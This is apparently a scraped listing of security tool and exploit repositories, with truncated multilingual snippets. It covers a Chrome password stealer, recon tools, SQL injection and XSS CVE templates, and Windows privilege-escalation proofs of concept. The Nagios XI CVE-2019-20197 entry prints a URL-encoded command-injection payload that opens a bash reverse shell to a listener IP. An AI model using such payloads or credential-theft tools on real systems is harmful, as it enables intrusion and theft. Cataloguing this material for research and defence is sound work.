chromepass

Chromepass - Hacking Chrome Saved Passwords and Cookies View Demo · Report Bug · Request Feature Table of Contents About the Project AV Detection Getting started Prerequisites Installation Usage Email Errors, Bugs and Feature Requests Learn More License Demo About The project Chromepass is a...

domained

domained archived A domain name enumeration tool This project is no longer maintained. Thank you to @ccsplit and @mzfr for their work on domained. Gist: Some terrible continually updated python code leveraging some awesome tools that I use for bug bounty reconnaissance. The tools contained in...

ADRecon

ダウンロード元: https://github.com/adrecon/ADRecon ADRecon: Active Directory 偵察 ADRecon は、AD 環境からさまざまなアーティファクト（後述）を抽出し、統合するツールです。収集した情報は、特別にフォーマットされた Microsoft Excel レポートで提示でき、分析を容易にし、対象 AD 環境の現状を全体像として把握するためのメトリクスを含むサマリービューが用意されています。...

quarantyne

=== THIS PROJECT IS ARCHIVED === Quarantyne · Modern Web Firewall 🛃 Automated web security made simple TL;DR Quarantyne is a reverse-proxy that protects web applications and APIs from fraudulent behavior, misuse, bots and cyber-attacks in real-time. Requirements Presentation Features Coverage...

abaddon

Abaddon Red team operations involve miscellaneous skills, last several months and are politically sensitive; they require a lot of monitoring, consolidating and caution. Wavestone’s red team operations management software, Abaddon, has been designed to make red team operations faster, more...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=user/manageuser&id=. id: CVE-2022-31975 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleteteam. id: CVE-2022-31977 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to SQ...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleterequest. id: CVE-2022-31976 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/requests/takeaction.php?id=. id: CVE-2022-31984 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=reports&date=. id: CVE-2022-31974 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL Injectio...

DomainMOD 4.13.0 - Cross-Site Scripting

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. id: CVE-2020-20988 info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.13.0 is vulnerable to...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleteinquiry. id: CVE-2022-31978 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to...

CVE-2023-36874_BOF

CVE-2023-36874 Windows エラー報告 LPE BOF はじめに これは、Filip Dragovic（@filipdragovic）による CVE-2023-36874 Windows エラー報告 LPE エクスプロイト を、成熟した実運用可能な CobaltStrike BOF として実装したものです。彼は、対象となる脆弱な DLL をリバースエンジニアリングし、このエクスプロイトに不可欠な非公開 COM 構造体を作成することで、動作するエクスプロイトの作成における重労働を担いました。 この BOF は、ユーザーが指定した EXE...

purify

Purify 脆弱性レポートを管理するためのオールインワンツール 🎮 デモ 📃 ドキュメント 📹 クイック動画（Vimeo） 説明 Purifyの目標は、使いやすく効率的なツールとして、さまざまな（カスタムのものでも）ツールから提供される脆弱性の管理ワークフローを簡素化することです。 Purifyはツールに依存しないアプリケーションを目指しています。ツールに依存しないことで、あらゆるツールセットの結果/調査結果/レポートを分析することが可能です。技術的には、アップロードするレポートは以下のいずれかである必要があります： JSONファイル XMLファイル...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2023-36874

CVE-2023-36874 デモンストレーションのみを目的としています。エクスプロイトは、脆弱性のあるWindowsクライアント/サーバーで動作します。 コードをコンパイルし、c:\test\system32 ディレクトリを作成します。そのディレクトリに wermgr.exe を配置し、コンパイルしたPoCを実行してください。 https://github.com/Wh04m1001/CVE-2023-36874/assets/44291883/417d1384-4f3f-42c0-9e07-80d4347ed9c7 Windows 10 19045.2006 でのテスト...

CVE-2026-20817

CVE-2026-20817 - Windows 错误报告 WER ALPC 权限提升 描述 本仓库包含 CVE-2026-20817 的概念验证 PoC，这是 Windows 错误报告 WER 服务中的一个本地权限提升漏洞。该漏洞允许经过身份验证的低权限用户通过向 WER 服务发送特制的 ALPC 消息，以 SYSTEM 权限 执行任意代码。 作者 原始研究与 PoC 作者： Twitter/X: @bytecodevm GitHub: @oxfemale 漏洞详情 CVE ID : CVE-2026-20817 组件 : Windows 错误报告 WER 服务 攻击向量 : 本地...

CVE-2025-61301

CVE-2025-61301 - CAPEv2: 再帰的プロセスフォークによる解析妨害（Denial-of-Analysis） 説明 高深刻度（High-Severity）の解析妨害（Denial-of-analysis）脆弱性が、CAPEv2（コミット 52e4b43、2025-05-17）の reporting/mongodb.py および reporting/jsondump.py に影響します。この脆弱性により、サンプルを提出できる攻撃者は、深くネストされた、または過大なサイズの挙動データを生成して、サンドボックス内でサンプルが実行された際に MongoDB の BSON 制限や...

AISA-Scanner

AISA-Scanner — 自主式AI安全代理 AISA-Scanner 是一款自我进化、由AI/ML驱动的网络安全分析工具包，它将NLP、CVE情报增强、自主扫描、风险建模和企业级报告融于同一框架。它专为现代安全研究员、渗透测试人员、红队和企业防御者设计，帮助他们获得实时漏洞洞察、增强的情报以及可执行的成果。 主要特性 类别| 描述 ---|--- 目标类型| 域名、子域名、IP、TCP端口 AI引擎| 零样本OWASP分类 风险模型| 带评分的在线自学习分类器 CVE| 从横幅、NLP（NER）和AI提示中检测CVE CVE情报增强| 来自NVD的CVSS、CWE和描述 漏洞利用映...

certReport

CertReport 本工具旨在减少报告 Authenticode 证书所需的工作量。它旨在让报告者花费最少的精力，同时向证书颁发机构提供做出决定所需的大部分信息。如有可能，建议在报告中补充你自己的发现，以帮助证书提供商了解你发现的可疑指标。 从版本 2 开始，我们增加了对使用 VirusTotal API 的支持。为了支持 VirusTotal API，我们添加了额外的功能。 certReport 的默认行为是查询 MalwareBazaar，这不需要 API 密钥。 在版本 3 中，我们添加了一个 SQLite...